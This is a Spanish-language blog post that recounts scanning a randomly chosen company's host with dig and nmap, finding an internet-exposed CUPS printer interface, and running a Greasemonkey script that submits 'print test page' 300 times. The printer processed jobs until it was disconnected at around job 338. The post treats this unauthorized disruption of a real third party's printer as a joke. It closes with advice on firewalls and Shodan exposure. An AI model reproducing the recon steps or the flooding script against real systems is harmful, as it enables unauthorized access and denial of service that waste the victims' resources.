Print Joke - Nunca descuides a tu impresora en red.

(Cracker vs sysadmin)

Tiempo de lectura: 15 minutos.

Público objetivo: "Curiosiadores" .

Nivel:  Básico.

Pre-requisito:  N/A

Meta: Dar a conocer la facilidades de “vulnerar un sistema” si no se tiene cuidado a la hora de implementarlos.

Fecha publicación: 13 de Abril de 2018.

Introducción

Hola nuevamente!, vuelvo del averno para realizar otra entrada de blog más; ahora es el turno de “seguridad informática”, el de cómo realizar un pequeño exploración de servicios para molestar a algún sysadmin (administrador del sistema).

Antes de empezar aclaro que no tengo conocimientos muy técnicos en la rama, así que será lo más lamer posible.

 

Reconocimeinto

En esta fase seleccionamos nuestro target, el host (servidor o recurso informático de alguna empresa) para realizar la prueba de concepto (POC). El criterio para escoger este host fue totalmente al azar y su identidad se tendrá anónima a lo largo del blog. Por último, como somos chicos buenos, reportamos el asunto.

Exploración

Aviso: Si buscas el  Modo mega fácil, ir al método 2 :D

Modo normal:

Nota: Dejaré mi identidad expuesta ya que no haré ningún tipo  de daño al sistema. (cero vpn - ip mask … etc)

  1. Realizamos una pequeña conversión de dominio a ip con: 
    dig +short empresa-exitosa.com.co | awk '{ print ; exit }'

    comandos: dig  pipeline awk

    Dando como resultado la dirección ip en cuestión. También se puede usar herramientas online como http://domaintoipconverter.com (‘Googleen’ vagos)
  2. Usamos nmap sobre la ip obtenida para obtener más información.
    nmap 192.xxx.xxx.xxx

    Aquí es dónde ustedes dicen “Pero nmap también se puede usar sobre el host name” Así es mis queridos colegas, pero se ve más (hacker con la ip).

    Host is up (0.067s latency).
    Not shown: 995 closed ports
    PORT     STATE SERVICE
    139/tcp  open  netbios-ssn
    445/tcp  open  microsoft-ds
    631/tcp  open  ipp
    5800/tcp open  vnc-http
    5900/tcp open  vnc

    Parece alentador el panorama!.

    Al investigar un poco sobre cada uno de los servicios, me doy cuenta que el ipp (Internet Printing Protocol) está corriendo sobre cups (Common UNIX Printing System) un servidor administrable por web y lo mejor de todo, con acceso sobre ip pública (internet). Así es, algo que debería estar disponible sólo por una subred, está accesible por todo visitante en la internet. Lo anterior es más común de lo que parece.

    Los entendidos en el tema podrían ver más potencial en otros servicios, me centraré el IPP, ya que mi objetivo no es hacer daño en el sistema.

     

    Modo fácil:

    Existe otra manera que nos ahorrará mucho tiempo en la fase de exploración. Generalmente, no es tan fácil explorar un conjunto de dominios de una compañía ya que la administración de cada servidor se delega por proveedor de servicio por distribución geográfica. Por ejemplo:

    Queremos saber alguno de los servidores asociados a servicios de la compañía, tendríamos entonces conocer los dominios enlazados al nombre. aquí una guía de como hacerlo. El problema es que muchas veces la compañía delega a terceros para que administre sus servidores cambiando los nombres de los registros. Si queremos resolver lo anterior, debemos entonces usar Google dorks y explorar el servicio netbios para dar con el nombre de la bendita empresa o usar shodan.

     

    Shodan es un motor de búsqueda informática diseñado por web desarrollador John Matherly (http://twitter.com/achillean) que recopila información de sitios web y realiza .

    algunos procesos para mostrarnos información útil de estos. (shodan es muy conocido por listar cámaras ip a lo largo del mundo que no necesitan contraseña o con contraseñas de fábrica.)

    Simplemente buscamos el nombre de nuestra compañía o ip y bingo!, obtenemos la misma información del método 1 con sólo teclear el nombre. Mejoramos la búsqueda usando nmap si queremos!

     

    Acceso al sistema

    Simplemente accedemos al servidor público, tecleamos la ip de nuestra súper empresa segura, seguido del puerto del servicio ipps (generalmente es el 613)

    Eureka!

    Hora de divertirnos!.


    Se enumera lo que se puede hacer en esta utilidad web:

    • El administrador está bloqueado por usuario y contraseña (por fin algo medianamente asegurado)
    • Se puede ver la cola de impresión de una impresora!.
    • Podemos imprimir páginas de prueba :D!.

¡Increíblemente podemos imprimir páginas de prueba siendo usuario anónimo (sin tener ningún privilegio dentro del sistema)!.

 

 

Como buen ciudadano preparé un script persistente para generar páginas de prueba, automatizando el proceso; también, utilicé Greasemonkey, un complemento para el navegador que ejecuta rutinas javascript persistentes.

// ==UserScript==
// @name     Unnamed Script 
// @version  1
// @grant    none
// @include https://ip-empresa-segura:631/printers/Kyocera-Mita-FS-2000D
// ==/UserScript==

const printJoke = () => {
  const selectElement = document.getElementsByName("OP")[0] // get selector
  if (selectElement) {
      selectElement.selectedIndex=1 // set selector option
      selectElement.onchange() // trigger submit event
  }  
}

const x = 300

for(let i=0; i<x; i++) {
  printJoke()
}

El script habla por sí solo, simplemente seleccionamos la opción “print test page” n veces inundando de peticiones a la pobre impresora :C.

El resultado:

Ejecución del script en sitio web

 

Trabajos procesados por la impresora:

Nótese que al trabajo 338 desconectaron la impresora (perdón por el gasto de papel)

Conclusiones:
  1. La seguridad si es un factor importante en cualquier proyecto informático, no dejar de lado. Mucho de los gerentes de T.I que conozco se jactan de que sistemas de T.I son seguros cuando estos no lo son. Si bien los programadores tienen una pequeña parte de responsabilidad en este asunto, siempre se recomienda contratar a personas especialistas en este tema. Hoy puede ser una impresora, mañana un ransomware que deje inoperable a la compañía.
  2. Si se implementa un servicio web debemos verificar siempre la disponibilidad que este tendrá. Siempre se aconseja realizar filtros a firewall o iptables, además, leer el manual de lo que sea que estemos implementando nunca está de más.
  3. Si tu empresa aparece en búsquedas de shodan no dudes en asesorarte con expertos en la materia.


Esto ha sido todo por hoy, espero que les haya gustado!.

Tweet